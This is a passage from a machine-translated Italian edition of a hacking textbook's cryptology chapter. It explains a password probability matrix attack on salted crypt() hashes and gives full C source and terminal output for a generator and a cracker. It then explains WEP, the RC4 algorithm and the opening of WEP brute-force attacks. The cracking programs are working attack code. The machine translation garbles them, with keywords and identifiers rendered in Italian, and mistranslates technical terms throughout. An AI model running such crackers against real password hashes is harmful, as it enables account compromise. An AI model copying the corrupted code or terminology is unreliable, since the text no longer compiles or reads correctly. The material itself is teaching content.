segue, lo spazio delle chiavi per tutte le possibili password di quattro caratteri (con estensione fissa
sale). Lo spazio di archiviazione necessario è ridotto dell'88%, rispetto
a una tabella di ricerca hash completa (con un salt fisso) e lo spazio delle chiavi che deve essere
il passaggio forzato è ridotto di circa 1.018 volte. Sotto l'ipotesi
di 10.000 crepe al secondo, questo metodo può rompere qualsiasi passaggio di quattro caratteri
parola (con un sale fisso) in meno di otto secondi, il che è considerevole
accelerazione rispetto alle due ore necessarie per un bruto esaustivo
forza l'attacco dello stesso keyspace.
Questo metodo crea una matrice binaria tridimensionale correlata
parti dei valori hash con parti dei valori di testo normale. Sull'asse x, il
il testo in chiaro è diviso in due coppie: i primi due caratteri e i secondi due
personaggi. I possibili valori sono enumerati in un vettore binario che è
95 2 , o 9.025, bit lunghi (circa 1.129 byte). Sull'asse y, il testo cifrato è
diviso in quattro blocchi di tre caratteri. Questi sono enumerati allo stesso modo
giù per le colonne, ma vengono effettivamente utilizzati solo quattro bit del terzo carattere.
Ciò significa che ci sono 64 2 · 4 o 16.384 colonne. L'asse z esiste semplicemente per
mantenere otto diverse matrici bidimensionali, quindi ne esistono quattro per ciascuna di
le coppie di testo in chiaro.

424 0x700

Pagina 439

L'idea di base è dividere il testo in chiaro in due valori accoppiati che sono
enumerato lungo un vettore. Ogni possibile testo in chiaro viene trasformato in testo cifrato,
e il testo cifrato viene utilizzato per trovare la colonna appropriata della matrice.
Quindi viene ruotato il bit di enumerazione del testo in chiaro lungo la riga della matrice
sopra. Quando i valori del testo cifrato vengono ridotti in blocchi più piccoli, le collisioni
sono inevitabili.

Hash di testo normale

test je HEA X1m66RV.

! J) h je HEA 38vqlkkQ

".F + je HEA 1Tbde5FE

"8, J je HEA nX8kQK3I

In questo caso, la colonna per HEA avrebbe i bit corrispondenti a


plaintext coppie TE , ! J , " , e " 8 acceso, in quanto queste coppie testo in chiaro / hash sono
aggiunto alla matrice.
Dopo che la matrice è stata completamente compilata, quando un hash come jeHEA38vqlkkQ
viene inserito, verrà cercata la colonna per HEA e verrà visualizzata la colonna bidimensionale
matrice restituirà i valori TE , ! J , " e " 8 per i primi due caratteri
il testo in chiaro. Ci sono quattro matrici come questa per i primi due caratteri,
usando la sottostringa del testo cifrato dai caratteri da 2 a 4, da 4 a 6, 6 però
8 e 8 fino a 10, ciascuno con un vettore diverso di possibili primi due caratteri
valori di testo normale. Ogni vettore viene estratto e vengono combinati con un bit a bit
E. Ciò lascerà attivati ​solo quei bit che corrispondono al testo in chiaro
coppie elencate come possibilità per ogni sottostringa di testo cifrato. Ci sono anche
quattro matrici come questa per gli ultimi due caratteri di testo in chiaro.
Le dimensioni delle matrici sono state determinate dal principio della casella.
Questo è un semplice principio che afferma: Se k + 1 oggetti sono messi in k box, a
almeno una delle caselle conterrà due oggetti. Quindi, per ottenere i migliori risultati, il file
l'obiettivo è che ogni vettore sia un po 'meno della metà pieno di 1. Dal 95 4 , o
81.450.625, le voci verranno inserite nelle matrici, devono essere circa due volte
tanti buchi per ottenere il 50 percento di saturazione. Poiché ogni vettore ha 9.025
voci, dovrebbero esserci circa (95 4 · 2) / 9025 colonne. Questo funziona per essere
circa 18.000 colonne. Poiché le sottostringhe di testo cifrato di tre caratteri sono
utilizzato per le colonne, i primi due caratteri e quattro bit dal
terzo carattere sono utilizzati per fornire 64 2 · 4, o circa 16 mila colonne
(ci sono solo 64 valori possibili per ogni carattere dell'hash del testo cifrato).
Questo dovrebbe essere abbastanza vicino, perché quando un bit viene aggiunto due volte, la sovrapposizione
viene ignorato. In pratica, ogni vettore risulta essere saturo per circa il 42%
con 1s.
Poiché ci sono quattro vettori che vengono estratti per un singolo testo cifrato, il file
probabilità che una qualsiasi posizione di enumerazione abbia un valore 1 in ogni vettore
è circa 0,42 4 , o circa il 3,11 percento. Ciò significa che, in media, i 9.025
le possibilità per i primi due caratteri di testo in chiaro sono ridotte di circa 97
per cento a 280 possibilità. Questo viene fatto anche per gli ultimi due personaggi,
Fornendo circa 280 2 , o 78.400, possibili valori di testo in chiaro. Sotto l'ipotesi
di 10.000 crepe al secondo, questo spazio ridotto delle chiavi richiederebbe meno di 8 secondi
controllare.

Cryptology 425

Pagina 440

Ovviamente ci sono aspetti negativi. Innanzitutto, ci vuole almeno tanto tempo per creare il file
matrice come avrebbe preso l'attacco di forza bruta originale; tuttavia, questo è un file
costo una tantum. Inoltre, i sali tendono ancora a vietare qualsiasi tipo di attacco allo stoccaggio,
anche con i requisiti di spazio di archiviazione ridotti.
I seguenti due elenchi di codice sorgente possono essere utilizzati per creare una password
matrice di probabilità e crackare le password con essa. Il primo elenco genererà un file
matrice che può essere utilizzata per decifrare tutte le possibili password di quattro caratteri salate
con je . Il secondo elenco utilizzerà la matrice generata per eseguire effettivamente il file
cracking delle password.

ppm_gen.c

/ ************************************************* ******** \
* Matrice di probabilità della password * File: ppm_gen.c *
************************************************** *********
* *
* Autore: Jon Erickson <matrix@phiral.com> *
* Organizzazione: Phiral Research Laboratories *
* *
* Questo è il programma di generazione per la prova PPM di *
* concetto. Genera un file chiamato 4char.ppm, che *
* contiene informazioni riguardanti tutte le possibili 4- *
* password dei caratteri salate con "je". Questo file può *
* essere utilizzato per craccare rapidamente le password trovate all'interno di questo *
* keyspace con il corrispondente programma ppm_crack.c. *
* *
\ ************************************************* ******** /

#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define ALTEZZA 16384


#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH

/ * Associa un singolo hash byte a un valore enumerato. * /


int enum_hashbyte (char a) {
int i, j;
i = (int) a;
se ((i> = 46) && (i <= 57))
j = i - 46;
altrimenti se ((i> = 65) && (i <= 90))
j = i - 53;
altrimenti se ((i> = 97) && (i <= 122))
j = i - 59;
return j;
}

/ * Associa 3 hash byte a un valore enumerato. * /


int enum_hashtriplet (char a, char b, char c) {

426 0x700

Pagina 441

return (((enum_hashbyte (c)% 4) * 4096) + (enum_hashbyte (a) * 64) + enum_hashbyte (b));


}
/ * Barf un messaggio ed esci. * /
void barf (char * message, char * extra) {
printf (messaggio, extra);
uscita (1);
}

/ * Genera un file di 4 caratteri.ppm con tutte le possibili password di 4 caratteri (salato con je). */
int main () {
char plain [5];
char * codice, * dati;
int i, j, k, l;
unsigned int charval, val;
FILE * handle;
if (! (handle = fopen ("4char.ppm", "w")))
barf ("Errore: impossibile aprire il file" 4char.ppm "in scrittura. \ n", NULL);
data = (char *) malloc (SIZE);
se (! (dati))
barf ("Errore: impossibile allocare memoria. \ n", NULL);

for (i = 32; i <127; i ++) {


for (j = 32; j <127; j ++) {
printf ("Aggiunta di% c% c ** a 4char.ppm .. \ n", i, j);
per (k = 32; k <127; k ++) {
for (l = 32; l <127; l ++) {

semplice [0] = (char) i; // Build every


semplice [1] = (char) j; // possibile 4 byte
semplice [2] = (char) k; // parola d'ordine.
semplice [3] = (char) l;
semplice [4] = "\ 0";
codice = crypt ((const char *) plain, (const char *) "je"); // Hash it.

/ * Memorizza con perdita di informazioni statistiche sugli abbinamenti. * /


val = enum_hashtriplet (code [2], code [3], code [4]); // Memorizza le informazioni sui byte 2-4.

charval = (i-32) * 95 + (j-32); // Primi 2 byte di testo in chiaro


dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);
charval = (k-32) * 95 + (l-32); // Ultimi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));

val = HEIGHT + enum_hashtriplet (code [4], code [5], code [6]); // byte 4-6
charval = (i-32) * 95 + (j-32); // Primi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);
charval = (k-32) * 95 + (l-32); // Ultimi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));

val = (2 * HEIGHT) + enum_hashtriplet (code [6], code [7], code [8]); // byte 6-8
charval = (i-32) * 95 + (j-32); // Primi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);

Cryptology 427

Pagina 442

charval = (k-32) * 95 + (l-32); // Ultimi 2 byte di testo in chiaro


dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));

val = (3 * HEIGHT) + enum_hashtriplet (code [8], code [9], code [10]); // byte 8-10
charval = (i-32) * 95 + (j-32); // Primi 2 caratteri in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);
charval = (k-32) * 95 + (l-32); // Ultimi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
}
}
}
}
printf ("finito .. salvataggio .. \ n");
fwrite (data, SIZE, 1, handle);
gratuito (dati);
fclose (maniglia);
}

La prima parte di codice, ppm_gen.c, può essere utilizzata per generare un quattro
matrice di probabilità della password dei caratteri, come mostrato nell'output di seguito. Il
L'opzione -O3 passata a GCC gli dice di ottimizzare il codice per la velocità quando lo fa
compila.

reader @ hacking: ~ / booksrc $ gcc -O3 -o ppm_gen ppm_gen.c -lcrypt


lettore @ hacking: ~ / booksrc $ ./ppm_gen
Aggiunta di ** a 4char.ppm ..
Aggiunta! ** a 4char.ppm ..
Aggiunta di "** a 4char.ppm ..

.: [output tagliato] :.

Aggiunta di ~ | ** a 4char.ppm ..
Aggiunta di ~} ** a 4char.ppm ..
Aggiunta di ~~ ** a 4char.ppm ..
finito .. salvataggio ..
@hacking: ~ $ ls -lh 4char.ppm
-rw-r - r-- 1 142M 2007-09-30 13:56 4char.ppm
lettore @ hacking: ~ / booksrc $

Il file 4char.ppm da 142 MB contiene associazioni libere tra i file


testo in chiaro e dati hash per ogni possibile password di quattro caratteri. Questi dati
può quindi essere utilizzato dal prossimo programma per decifrare rapidamente il passaggio di quattro caratteri
parole che sventerebbero un attacco del dizionario.

ppm_crack.c

/ ************************************************* ******** \
* Matrice di probabilità della password * File: ppm_crack.c *
************************************************** *********
* *
* Autore: Jon Erickson <matrix@phiral.com> *
* Organizzazione: Phiral Research Laboratories *
* *

428 0x700

Pagina 443
* Questo è il programma crack per il proof of concept PPM. *
* Utilizza un file esistente chiamato 4char.ppm, che *
* contiene informazioni riguardanti tutti i possibili 4– *
* password dei caratteri salate con "je". Questo file può *
* essere generato con il corrispondente programma ppm_gen.c. *
* *
\ ************************************************* ******** /

#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define ALTEZZA 16384


#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH
#define DCM HEIGHT * WIDTH

/ * Associa un singolo hash byte a un valore enumerato. * /


int enum_hashbyte (char a) {
int i, j;
i = (int) a;
se ((i> = 46) && (i <= 57))
j = i - 46;
altrimenti se ((i> = 65) && (i <= 90))
j = i - 53;
altrimenti se ((i> = 97) && (i <= 122))
j = i - 59;
return j;
}

/ * Associa 3 hash byte a un valore enumerato. * /


int enum_hashtriplet (char a, char b, char c) {
return (((enum_hashbyte (c)% 4) * 4096) + (enum_hashbyte (a) * 64) + enum_hashbyte (b));
}

/ * Unisci due vettori. * /


void merge (char * vector1, char * vector2) {
int i;
for (i = 0; i <WIDTH; i ++)
vettore1 [i] & = vettore2 [i];
}

/ * Restituisce il bit nel vettore alla posizione di indice passata * /


int get_vector_bit (char * vector, int index) {
return ((vector [(index / 8)] & (1 << (index% 8))) >> (index% 8));
}

/ * Conta il numero di coppie di testo in chiaro nel vettore passato * /


int count_vector_bits (char * vector) {
int i, count = 0;
per (i = 0; i <9025; i ++)
count + = get_vector_bit (vettore, i);
conteggio dei resi;

Cryptology 429

Pagina 444

/ * Stampa le coppie di testo in chiaro che ogni bit ON nel vettore enumera. */
void print_vector (char * vector) {
int i, a, b, val;
for (i = 0; i <9025; i ++) {
if (get_vector_bit (vector, i) == 1) {// Se bit è attivo,
a = i / 95; // calcola il
b = i - (a * 95); // coppia di testo in chiaro
printf ("% c% c", a + 32, b + 32); // e stampalo.
}
}
printf ("\ n");
}

/ * Barf un messaggio ed esci. * /


void barf (char * message, char * extra) {
printf (messaggio, extra);
uscita (1);
}

/ * Crea una password di 4 caratteri utilizzando il file 4char.ppm generato. * /


int main (int argc, char * argv []) {
char * pass, semplice [5];
char non firmato bin_vector1 [WIDTH], bin_vector2 [WIDTH], temp_vector [WIDTH];
char prob_vector1 [2] [9025];
char prob_vector2 [2] [9025];
int a, b, i, j, len, pv1_len = 0, pv2_len = 0;
FILE * fd;

if (argc <1)
barf ("Utilizzo:% s <password hash> (userà il file 4char.ppm) \ n", argv [0]);

if (! (fd = fopen ("4char.ppm", "r")))


barf ("Errore irreversibile: impossibile aprire il file PPM per la lettura. \ n", NULL);

pass = argv [1]; // Il primo argomento è l'hash della password

printf ("Filtraggio di possibili byte di testo normale per i primi due caratteri: \ n");

fseek (fd, (DCM * 0) + enum_hashtriplet (pass [2], pass [3], pass [4]) * WIDTH, SEEK_SET);
fread (bin_vector1, WIDTH, 1, fd); // Legge il vettore che associa i byte 2-4 di hash.

len = count_vector_bits (bin_vector1);


printf ("solo 1 vettore di 4: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len, len * 100.0 /
9025.0);

fseek (fd, (DCM * 1) + enum_hashtriplet (pass [4], pass [5], pass [6]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 4-6 di hash.
merge (bin_vector1, temp_vector); // Uniscilo al primo vettore.

len = count_vector_bits (bin_vector1);


printf ("vettori 1 E 2 uniti: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len,
len * 100,0 / 9025,0);

430 0x700
Pagina 445

fseek (fd, (DCM * 2) + enum_hashtriplet (pass [6], pass [7], pass [8]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 6-8 di hash.
merge (bin_vector1, temp_vector); // Uniscilo ai primi due vettori.

len = count_vector_bits (bin_vector1);


printf ("primi 3 vettori uniti: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len,
len * 100,0 / 9025,0);

fseek (fd, (DCM * 3) + enum_hashtriplet (pass [8], pass [9], pass [10]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore associatind byte 8-10 di hash.
merge (bin_vector1, temp_vector); // Uniscilo agli altri vettori.

len = count_vector_bits (bin_vector1);


printf ("tutti e 4 i vettori uniti: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len,
len * 100,0 / 9025,0);

printf ("Possibili coppie di testo in chiaro per i primi due byte: \ n");
print_vector (bin_vector1);

printf ("\ nFiltro possibili byte di testo normale per gli ultimi due caratteri: \ n");

fseek (fd, (DCM * 4) + enum_hashtriplet (pass [2], pass [3], pass [4]) * WIDTH, SEEK_SET);
fread (bin_vector2, WIDTH, 1, fd); // Legge il vettore che associa i byte 2-4 di hash.

len = count_vector_bits (bin_vector2);


printf ("solo 1 vettore di 4: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len, len * 100.0 /
9025.0);

fseek (fd, (DCM * 5) + enum_hashtriplet (pass [4], pass [5], pass [6]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 4-6 di hash.
merge (bin_vector2, temp_vector); // Uniscilo al primo vettore.

len = count_vector_bits (bin_vector2);


printf ("vettori 1 E 2 uniti: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len,
len * 100,0 / 9025,0);

fseek (fd, (DCM * 6) + enum_hashtriplet (pass [6], pass [7], pass [8]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 6-8 di hash.
merge (bin_vector2, temp_vector); // Uniscilo ai primi due vettori.

len = count_vector_bits (bin_vector2);


printf ("primi 3 vettori uniti: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len,
len * 100,0 / 9025,0);

fseek (fd, (DCM * 7) + enum_hashtriplet (pass [8], pass [9], pass [10]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore associatind byte 8-10 di hash.
merge (bin_vector2, temp_vector); // Uniscilo agli altri vettori.

len = count_vector_bits (bin_vector2);


printf ("tutti e 4 i vettori uniti: \ t% d coppie di testo in chiaro, con% 0.2f %% saturazione \ n", len,
len * 100,0 / 9025,0);

printf ("Possibili coppie di testo in chiaro per gli ultimi due byte: \ n");
print_vector (bin_vector2);

Cryptology 431

Pagina 446

printf ("Costruire vettori di probabilità ... \ n");


for (i = 0; i <9025; i ++) {// Trova i primi due possibili byte di testo in chiaro.
if (get_vector_bit (bin_vector1, i) == 1) {;
prob_vector1 [0] [pv1_len] = i / 95;
prob_vector1 [1] [pv1_len] = i - (prob_vector1 [0] [pv1_len] * 95);
pv1_len ++;
}
}
for (i = 0; i <9025; i ++) {// Trova possibili ultimi due byte di testo in chiaro.
if (get_vector_bit (bin_vector2, i)) {
prob_vector2 [0] [pv2_len] = i / 95;
prob_vector2 [1] [pv2_len] = i - (prob_vector2 [0] [pv2_len] * 95);
pv2_len ++;
}
}

printf ("Cracking rimanenti% d possibilità .. \ n", pv1_len * pv2_len);


for (i = 0; i <pv1_len; i ++) {
for (j = 0; j <pv2_len; j ++) {
semplice [0] = prob_vector1 [0] [i] + 32;
semplice [1] = prob_vector1 [1] [i] + 32;
semplice [2] = prob_vector2 [0] [j] + 32;
semplice [3] = prob_vector2 [1] [j] + 32;
semplice [4] = 0;
if (strcmp (crypt (plain, "je"), pass) == 0) {
printf ("Password:% s \ n", semplice);
i = 31337;
j = 31337;
}
}
}
se (i <31337)
printf ("La password non è stata salata con 'je' o non è lunga 4 caratteri. \ n");

fclose (fd);
}

La seconda parte di codice, ppm_crack.c, può essere utilizzata per decifrare il file
fastidiosa password di h4R% in pochi secondi:
lettore @ hacking: ~ / booksrc $ ./crypt_test h4R% je
password "h4R%" con hash salt "je" per ==> jeMqqfIfPNNTE
reader @ hacking: ~ / booksrc $ gcc -O3 -o ppm_crack ppm_crack.c -lcrypt
lettore @ hacking: ~ / booksrc $ ./ppm_crack jeMqqfIfPNNTE
Filtraggio di possibili byte di testo in chiaro per i primi due caratteri:
solo 1 vettore di 4: 3801 coppie di testo in chiaro, con una saturazione del 42,12%
vettori 1 e 2 uniti: 1666 coppie di testo in chiaro, con una saturazione del 18,46%
primi 3 vettori uniti: 695 coppie di testo in chiaro, con una saturazione del 7,70%
tutti e 4 i vettori sono stati uniti: 287 coppie di testo in chiaro, con una saturazione del 3,18%
Possibili coppie di testo in chiaro per i primi due byte:
4 9 N! &! M! Q "/" 5 "W #K #d #g #p $ K $ O $ s%)% Z% \% r & (& T '-' 0 '7' D
'F ((v (|) +).) E) W * c * p * q * t * x + C -5 -A - [-a.% .D .S .f / t 02 07 0?
0e 0 {0 | 1A 1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7 @ 7S
7z 8F 8H 9R 9U 9_ 9 ~: -: q: s; G; J; Z; k <! <8 =! = 3 = H = L = N = Y> V> X? 1 @ #

432 0x700

Pagina 447

@W @v @ | AO B / B0 BO Bz C (D8 D> E8 EZ F @ G & G? Gj Gy H4 I @ J JN JT JU Jh Jq


Ks Ku M) M {N, N: NC NF NQ Ny O / O [P9 Pc Q! QA Qi Qv RA Sg Sv T0 Te U & U> UO
VT V [V] Vc Vg Vi W: WG X "X6 XZ X` Xp YT YV Y ^ Yl Yy Y {Za [$ [* [9 [m [z \" \
+ \ C \ O \ w] (]:] @] w _K _j `q a. AN a ^ ae au b: bG bP cE cP dU d] e! FI fv g!
gG h + h4 hc iI iT iV iZ in k. kp l5 l` lm lq m, m = mE n0 nD nQ n ~ o # o: o ^ p0
p1 pc pc q * q0 qQ q {rA rY s "sD sz tK tw u- v $ v. v3 v; v_ vi vo wP wt x" x &
x + x1 xQ xX xi yN yo zO zP zU z [z ^ zf zi zr zt {- {B {a | s})} +}? } y ~ L ~ m

Filtraggio di possibili byte di testo in chiaro per gli ultimi due caratteri:
solo 1 vettore di 4: 3821 coppie di testo in chiaro, con 42,34% di saturazione
vettori 1 e 2 uniti: 1677 coppie di testo in chiaro, con una saturazione del 18,58%
primi 3 vettori uniti: 713 coppie di testo in chiaro, con una saturazione del 7,90%
tutti e 4 i vettori sono stati uniti: 297 coppie di testo in chiaro, con una saturazione del 3,29%
Possibili coppie di testo in chiaro per gli ultimi due byte:
! &! =! H! I! K! P! X! O! ~ "R" {"} #% # 0 $ 5 $]% K% M% T &" &% & (& 0 & 4 & I
& q &} 'B' Q 'd) j) w * I *] * e * j * k * o * w * | + B + W, ', J, V -z. . $ .T / '/ _
0Y 0i 0s 1! 1 = 1l 1v 2- 2 / 2g 2k 3n 4K 4Y 4 \ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7 * 74
8E 9Q 9 \ 9a 9b: 8:; : A: H: S: w; "; &; L <L <m <r <u =, = 4 = v> v> x? &?`? J
? w @ 0 A * BB @ BT C8 CF CJ CN C} D + D? DK Dc EM EQ FZ GO GR H) Hj I: I> J (J +
J3 J6 Jm K # K) K @ L, L1 LT N * NW N` O = O [Ot P: P \ Ps Q- Qa R% RJ RS S3 Sa T!
T $ T @ TR T_ Th U "U1 V * V {W3 Wy Wz X% X * Y * Y? Yw Z7 Za Zh Zi Zm [F \ (\ 3 \ 5 \
_ \ a \ b \ | ] $]. ] 2]? ] d ^ [^ ~ `1` F `f` y a8 a = aI aK az b, b- bS bz c (cg dB
e, eF eJ eK eu fT fW fo g (g> gW g \ h $ h9 h: h @ hk i? jN ji jn k = kj l7 lo m <
m = mT me m | m} n% n? n ~ o oF oG oM p "p9 p \ q} r6 r = rB sA sN s {s ~ tX tp u
u2 uQ uU uk v # vG vV vW vl w * w> wD wv x2 xA y: y = y? yM yU yX zK zv {# {) {=
{O {m | I | Z}. }; } d ~ + ~ C ~ a
Costruire vettori di probabilità ...
Cracking rimanenti 85239 possibilità ..
Password: h4R%
lettore @ hacking: ~ / booksrc $

Questi programmi sono hack proof-of-concept, che sfruttano i vantaggi di


diffusione di bit fornita dalle funzioni hash. Ci sono altri compromessi spazio-tempo
attacchi, e alcuni sono diventati piuttosto popolari. RainbowCrack è un popolare
strumento, che supporta più algoritmi. Se vuoi saperne di più,
consultare Internet.

0x770 Crittografia wireless 802.11b

La sicurezza wireless 802.11b è stata un grosso problema, principalmente a causa dell'assenza


di esso. Punti deboli in Wired Equivalent Privacy (WEP) , il metodo di crittografia
utilizzati per il wireless, contribuiscono notevolmente all'insicurezza generale. Ci sono altri
dettagli, a volte ignorati durante le distribuzioni wireless, che possono anche portare
alle principali vulnerabilità.
Il fatto che le reti wireless esistano sul livello 2 è uno di questi dettagli.
Se la rete wireless non è VLAN disattivata o firewall, viene associato un utente malintenzionato
al punto di accesso wireless potrebbe reindirizzare tutto il traffico di rete cablato in uscita
tramite il wireless tramite il reindirizzamento ARP. Questo, unito alla tendenza a
agganciare i punti di accesso wireless a reti private interne, può portare ad alcuni
gravi vulnerabilità.

Cryptology 433

Pagina 448

Naturalmente, se WEP è attivato, solo i client con la chiave WEP corretta


potrà associarsi al punto di accesso. Se WEP è sicuro, ecco
non dovrebbe preoccuparsi per gli aggressori disonesti che si associano e causano
caos. Ciò solleva la domanda: "Quanto è sicuro WEP?"

0x771 Wired Equivalent Privacy


WEP doveva essere un metodo di crittografia che fornisce un equivalente di sicurezza
a un punto di accesso cablato. Originariamente era stato progettato con chiavi a 40 bit; dopo,
WEP2 è arrivato per aumentare la dimensione della chiave a 104 bit. Tutta la crittografia è
fatto su una base per pacchetto, quindi ogni pacchetto è essenzialmente un testo in chiaro separato
messaggio da inviare. Il pacchetto verrà chiamato M .
Innanzitutto, viene calcolato un checksum del messaggio M, quindi l'integrità del messaggio
può essere controllato in seguito. Questo viene fatto utilizzando un controllo di ridondanza ciclico a 32 bit-
funzione sum giustamente chiamata CRC32. Questo checksum sarà chiamato CS , quindi
CS = CRC32 (M). Questo valore viene aggiunto alla fine del messaggio, che
compone il messaggio di testo in chiaro P :

Messaggio di testo in chiaro P


Messaggio M CRC (M) CS

Ora, il messaggio di testo normale deve essere crittografato. Questo viene fatto usando
RC4, che è un cifrario a flusso. Questo codice, inizializzato con un valore seed,
può generare un keystream, che è solo un flusso arbitrariamente lungo di pseudo-
byte casuali. WEP utilizza un vettore di inizializzazione (IV) per il valore seed.
L'IV è costituito da 24 bit generati per ogni pacchetto. Alcuni vecchi WEP
le implementazioni usano semplicemente valori sequenziali per IV, mentre altri usano
una qualche forma di pseudo-randomizzatore.
Indipendentemente da come vengono scelti i 24 bit di IV, vengono anteposti a
la chiave WEP. (Questi 24 bit di IV sono inclusi nella dimensione della chiave WEP in un po '
di una strategia di marketing intelligente; quando un fornitore parla di WEP a 64 o 128 bit
le chiavi, le chiavi effettive sono solo 40 bit e 104 bit, rispettivamente, combinate
con 24 bit di IV.) L'IV e la chiave WEP insieme costituiscono il seme
value, che si chiamerà S.

Valore seme S

24 bit IV Chiave WEP a 40 o 104 bit

Quindi il valore seme S viene inserito in RC4, che genererà un keystream.


Questo keystream viene sottoposto a XOR con il messaggio di testo normale P per produrre il file
testo cifrato C. L'IV è anteposto al testo cifrato, e l'intera cosa è
incapsulato con un'altra intestazione e inviato tramite il collegamento radio.

434 0x700

Pagina 449

Messaggio di testo normale P (M con CS a 32 bit)

XOR

Keystream generato da RC4 (seed)

è uguale a

24 bit IV Testo cifrato C

Quando il destinatario riceve un pacchetto crittografato con WEP, il processo è semplice


invertito. Il destinatario estrae l'IV dal messaggio e quindi concatena
IV con la propria chiave WEP per produrre un valore di inizializzazione di S. Se il mittente e
entrambi i ricevitori hanno la stessa chiave WEP, i valori iniziali saranno gli stessi. Questo
seed viene nuovamente inserito in RC4 per produrre lo stesso keystream, che è XORed
con il resto del messaggio crittografato. Questo produrrà il testo in chiaro originale
messaggio, costituito dal messaggio a pacchetto M concatenato con l'integrità
checksum CS. Il destinatario utilizza quindi la stessa funzione CRC32 per ricalcolare
il checksum per M e controlla che il valore calcolato corrisponda a quello ricevuto
valore di CS. Se i checksum corrispondono, il pacchetto viene passato. Altrimenti, lì
c'erano troppi errori di trasmissione o le chiavi WEP non corrispondevano e il file
il pacchetto viene eliminato.
Questo è fondamentalmente WEP in poche parole.

0x772 RC4 Stream Cipher


RC4 è un algoritmo sorprendentemente semplice. Consiste di due algoritmi: il Key
Scheduling Algorithm (KSA) e l'algoritmo di generazione pseudo-casuale
(PRGA). Entrambi questi algoritmi utilizzano un S-box 8x8 , che è solo un array di
256 numeri che sono entrambi univoci e hanno un valore compreso tra 0 e 255. Dichiarato
semplicemente, tutti i numeri da 0 a 255 esistono nell'array, ma sono tutti giusti
mescolati in modi diversi. Il KSA esegue il rimescolamento iniziale della S-box,
in base al valore di inizializzazione immesso in esso, e il seme può essere lungo fino a 256 bit.
Innanzitutto, l'array S-box viene riempito con valori sequenziali da 0 a 255. Questo
array viene giustamente chiamato S . Quindi, un altro array da 256 byte viene riempito con il seme
valore, ripetendo se necessario fino a riempire l'intero array. Questo array sarà
di nome K . Quindi l' array S viene codificato utilizzando il seguente pseudo-codice.

j = 0;
per i = da 0 a 255
{
j = (j + S [i] + K [i]) mod 256;
scambiare S [i] e S [j];
}

Una volta fatto ciò, la S-box è tutta confusa in base al valore di seme.
Questo è l'algoritmo di pianificazione chiave. Abbastanza semplice.

Cryptology 435

Pagina 450

Ora, quando sono necessari dati keystream, la generazione pseudo-casuale


Viene utilizzato l'algoritmo (PRGA). Questo algoritmo ha due contatori, i e j , che
sono entrambi inizializzati a 0 per cominciare. Dopodiché, per ogni byte di keystream
dati, viene utilizzato il seguente pseudo-codice.
i = (i + 1) mod 256;
j = (j + S [i]) mod 256;
scambiare S [i] e S [j];
t = (S [i] + S [j]) mod 256;
Emette il valore di S [t];

Il byte emesso di S [t] è il primo byte del keystream. Questo algoritmo


viene ripetuto per byte keystream aggiuntivi.
RC4 è abbastanza semplice da poter essere facilmente memorizzato e implementato
al volo ed è abbastanza sicuro se usato correttamente. Tuttavia, ce ne sono alcuni
problemi con il modo in cui RC4 viene utilizzato per WEP.

0x780 attacchi WEP


Esistono diversi problemi con la sicurezza di WEP. In tutta franchezza, lo era
non ha mai voluto essere un protocollo crittografico forte, ma piuttosto un modo per fornire
un'equivalenza cablata, come allude all'acronimo. A parte la sicurezza
debolezze relative all'associazione e alle identità, ci sono diversi problemi
con il protocollo crittografico stesso. Alcuni di questi problemi derivano da
l'uso di CRC32 come funzione di checksum per l'integrità del messaggio e altro
i problemi derivano dal modo in cui vengono utilizzati gli IV.

0x781 Attacchi di forza bruta offline


La forzatura bruta sarà sempre un possibile attacco a qualsiasi computer sicuro
criptosistema. L'unica domanda che rimane è se si tratta di un attacco pratico
o no. Con WEP, il metodo effettivo di forzatura bruta offline è semplice:
Cattura alcuni pacchetti, quindi prova a decrittografare i pacchetti usando ogni possibile
chiave. Quindi, ricalcola il checksum per il pacchetto e confrontalo con
il checksum originale. Se corrispondono, molto probabilmente è la chiave. Generalmente,
questo deve essere fatto con almeno due pacchetti, poiché è probabile che un singolo
il pacchetto può essere decrittografato con una chiave non valida, ma il checksum sarà ancora
valido.
Tuttavia, nell'ipotesi di 10.000 crepe al secondo, forzatura bruta
attraverso lo spazio delle chiavi a 40 bit richiederebbe più di tre anni. Realisticamente, moderno
processori possono raggiungere più di 10.000 crepe al secondo, ma anche a
200.000 crepe al secondo, ci vorrebbero alcuni mesi. A seconda di
